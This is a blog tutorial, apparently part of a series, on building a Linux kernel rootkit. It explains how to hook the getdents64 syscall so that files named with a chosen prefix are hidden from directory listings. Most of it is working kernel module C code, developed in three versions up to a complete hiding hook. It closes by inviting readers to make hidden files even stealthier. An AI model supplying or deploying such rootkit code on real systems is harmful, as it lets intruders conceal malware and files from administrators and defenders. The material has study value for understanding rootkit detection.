At this point, we’ve used several different techniques to manipulate the kernel into doing interesting things. We’re going to combine a few of these techniques now in order to hide certain files and directories from userspace. This post is probably the most intricate yet due to the fact that we have to manipulate the structure returned by the kernel to userspace.

Roughly speaking, directory listing is handled by the syscall sys_getdents64 and its 32-bit counterpart sys_getdents (we’ll want to hook both, but they are identical except for a small addition in the 32-bit version). Our hooks will call the real syscalls as normal, and then we will repeat the technique from Part 5, making use of copy_from_user() and copy_to_user() to alter the buffer that is returned to userspace. The big difference here is that we can’t simply overwrite the entire buffer with 0x00, but instead we have to look at this buffer as the struct it really is and loop through its members.

Directory Listings in Linux

As usual, lets try to understand that underlying kernel functionality that we are hoping to influence before writing anything. We begin by checking the Linux Syscall Reference for sys_getdents. This gives us two results, as mentioned earlier; one for 32-bit and another for 64-bit. We will focus on the 64-bit version, sys_getdents64, for now. The syscall reference directs us to fs/readdir.c, where we find the definition for sys_getdents64.

Because we want to control what this syscall returns to the user, it is helpful to take look at what this syscall actually does. To start us off, the function declaration is:

SYSCALL_DEFINE3(getdents64, unsigned int, fd, struct linux_dirent64 __user *, dirent, unsigned int, count)

This macro translates to the slightly more familar:

int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count);

That linux_dirent64 struct is what contains the information about the directory listings (dirent is short for “directory entry”). We can find it’s definition in include/linux/dirent.h.

struct linux_dirent64 {
    u64         d_ino;
    s64         d_off;
    unsigned short      d_reclen;
    unsigned char       d_type;
    char        d_name[];
};

In particular, we see that it’s got two interesting fields; d_reclen and d_name. The first is the record length and is the total size of the struct in bytes. This is useful because it lets us easily jump through these structs in memory looking for what we want. In our case we will compare d_name to a predefined prefix string as way of deciding which entries to hide. Looking back at include/linux/readdir.c we can see d_reclen used in precisely this way (albeit after being copied into another struct first).

All this is a bit much, so let’s take a concrete look at what listing a directory actually looks like with strace ls. Below is the annotated (and trimmed) output that I got:

# Call execve syscall to execute "ls" with no arguments (and 72 environment vars)
execve("/usr/bin/ls", ["ls"], 0x7fff4b08aba0 /* 72 vars */) = 0

# Redacted: Loading various libraries like libc into memory

# Call openat syscall with directory "." to get a file descriptor (3)
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
# Check the directory pointed to by file descriptor 3 exists
fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
# Call getdents64 syscall with the file descriptor and a pointer to userspace
getdents64(3, 0x55d9b3dc1400 /* 19 entries */, 32768) = 600
# Close the file descriptor
close(3) = 0

# Redacted: Write the results to stdout

+++ exited with 0 +++

Okay, this is a bit clearer. We can see sys_getdents64 being called with all it’s arguments and that it’s written 600 bytes into the buffer we provided. At this point, we realise that we’ll have to allocate our own buffer into kernel space, modify it there and then copy it back (just like in Part 5). The trick will be how we find any entries that start with our chosen prefix string, as well as how we trick the system into skipping these entries once we’ve found them.

Putting something together

As in previous parts, I’m only going to go through the pt_regs version of the syscall hook, and in this case, I’ll only go through hooking sys_getdents64. In the full rookit (on the repo), there are four hooks in total: one each for sys_getdents and sys_getdents64 as well as another two for the pt_regs and old-fashioned calling convention for each of those.

The rough outline of our hook will look like this:

#include <linux/dirent.h>

#define PREFIX "boogaloo"

static asmlinkage long (*orig_getdents64)(const struct pt_regs *);

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    /* Pull the userspace dirent struct out of pt_regs */
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;

    /* Declare our kernel version of the buffer that we'll copy into */
    struct linux_dirent64 *dirent_ker = NULL;

    /* Call the real getdents64, and allocate ourselves a kernel buffer */
    int ret = orig_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    /* Check that neither of the above failed */
    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;

    /* Copy from the userspace buffer dirent, to our kernel buffer dirent_ker */
    long error;
    error = copy_from_user(dirent_ker, dirent, ret);
    if(error)
        goto done;

    /* Fiddle with dirent_ker */

    /* Copy dirent_ker back to userspace dirent */
    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
        goto done;

done:
    /* Free our buffer and return */
    kfree(dirent_ker);
    return ret;
}

Hopefully by this point, the above skeleton makes perfect sense. It’s only slightly different from where we started in Part 5, but in that case the only “fiddling” we did was overwrite the kernel buffer with 0x00 before copying it back to userspace. This time around we need be a little cleverer.

Looping through directory entries

In order to loop through these structs, we will introduce an offset variable, initially set to 0, and a current_dir variable defined as another linux_dirent64 struct. Then we’ll set current_dir = dirent_ker + offset. To begin with, current_dir will just be the first struct in memory, and we can memcmp current_dir->d_name with our prefix (defined above as “boogaloo”). As we loop through, we can just increment offset by current_dir->d_reclen so that when current_dir gets redefined at the start of the loop, we will skip over the first struct and move on to the second. And so on we go, until offset is equal to the ret - the value returned by orig_getdents64.

Let’s try putting this loop together first, but just print the d_name of each entry to the kernel buffer - then we’ll worry about how to stop certain directories from being presented to the user. In what follows, only the new parts are commented.

#include <linux/dirent.h>

#define PREFIX "boogaloo"

static asmlinkage long (*orig_getdents64)(const struct pt_regs *);

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;

    /* Declare current_dir pointer and the offset variable */
    struct linux_dirent64 *current_dir, *dirent_ker = NULL;
    unsigned long offset = 0;

    int ret = orig_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;

    long error;
    error = copy_from_user(dirent_ker, dirent, ret);
    if(error)
        goto done;

    /* Loop over offset */
    while (offset < ret)
    {
        /* Set current_dir = dirent_ker + offset 
         * Note that we have to cast dirent_ker to (void *) so that we can add
         * offset to it
         */
        current_dir = (void *)dirent_ker + offset;

        /* Compare the first bytes of current_dir->d_name to PREFIX */
        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* Print to the kernel buffer */
            printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
        }

        /* Increment offset by current_dir->d_reclen so that we iterate over
         * the other structs when we loop
         */
        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
        goto done;

done:
    kfree(dirent_ker);
    return ret;
}

If you want, you can try compiling this and check that it works (you might want to wait until the end, because you’ll have to copy it out four times!). It should be clear what the new parts are doing (look for the comments), but if not, try re-reading the paragraph above it.

The Good Stuff: Hiding Directory Entries!

The last thing we need to figure out is how to get the system to skip over any entries we find that start with our prefix “boogaloo”. The trick that we are going to use is to increment the d_reclen field of the entry before the one we want to hide by the d_reclen value of the “boogaloo” entry. To do this, we need yet another linux_dirent64 struct, which we’ll call previous_dir, and update it as we loop through everything. This means that, once we’ve returned the buffer to the user, and some userspace tool (like ls) is looping through the entries just like we have, they’ll get to the entry before the one we want to hide, and when it increments its looping variable by d_reclen, it will completely jump over our secret entry.

The only gotcha is what to do when there is no previous entry, i.e. if the entry we want to hide comes first? In this case, we’ll need to shift everything up in memory by the d_reclen value of the first entry. To do this, we’ll use memmove(), but we also have to remember to decrease ret by d_reclen too so that we don’t run over the end of the buffer as we loop through the rest.

Okay, enough talk! Let’s finish off this syscall hook. Again, only the new parts are commented:

#include <linux/dirent.h>

#define PREFIX "boogaloo"

static asmlinkage long (*orig_getdents64)(const struct pt_regs *);

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;

    /* Declare the previous_dir struct for book-keeping */
    struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
    unsigned long offset = 0;

    int ret = orig_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;

    long error;
    error = copy_from_user(dirent_ker, dirent, ret);
    if(error)
        goto done;

    while (offset < ret)
    {
        current_dir = (void *)dirent_ker + offset;

        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* Check for the special case when we need to hide the first entry */
            if( current_dir == dirent_ker )
            {
                /* Decrement ret and shift all the structs up in memory */
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* Hide the secret entry by incrementing d_reclen of previous_dir by
             * that of the entry we want to hide - effectively "swallowing" it
             */
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* Set previous_dir to current_dir before looping where current_dir
             * gets incremented to the next entry
             */
            previous_dir = current_dir;
        }

        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
        goto done;

done:
    kfree(dirent_ker);
    return ret;
}

It’s worth taking a bit to absorb what’s going on here and it would be no bad thing to go back and re-read each of the three versions of the hook and their explanations - it certainly took me a long time to write them using several different sources!

Putting it all together

Now’s the time to finish up your hooks with Ftrace, as well as the sys_getdents version for 32-bit systems and the alternative calling convention without pt_regs. In total, you’ll have four copies of essentially the same hook. Note that there is a little trick with the sys_getdents hook though. In their hopes to move away from 32-bit systems, the kernel developers removed the definition of linux_dirent (note the absense of “64”) from the kernel headers. It’s still in the kernel, but because it’s not in the headers, your module will fail to build. The solution is to just define it yourself, as I did on line 116 of rootkit.c in the repo. Here is the definition from fs/readdir.c if you’re trying to work it out yourself without peeking at my version:

struct linux_dirent {
    unsigned long d_ino;
    unsigned long d_off;
    unsigned short d_reclen;
    char d_name[];
};

Let’s take a look at what happens when we go ahead and load this rootkit after creating a file that we’d like to hide.

Boogaloo

Success! The secret “boogaloo” file gets hidden from the user! It’s worth pointing out that the file is still there and you can go ahead and open it, delete it, etc without any trouble, but don’t expect it to show up in ls! If you wanted to be extra sneaky, you might be able to find a way to prevent being able to read or write to a file, but still allow it to be executed? That’s left as an exercise for you, dear reader!

Hope you enjoyed working through this one - Well Done for making to the end! This is definitely the trickiest technique to get your head around due to how many steps it involves.

Until next time…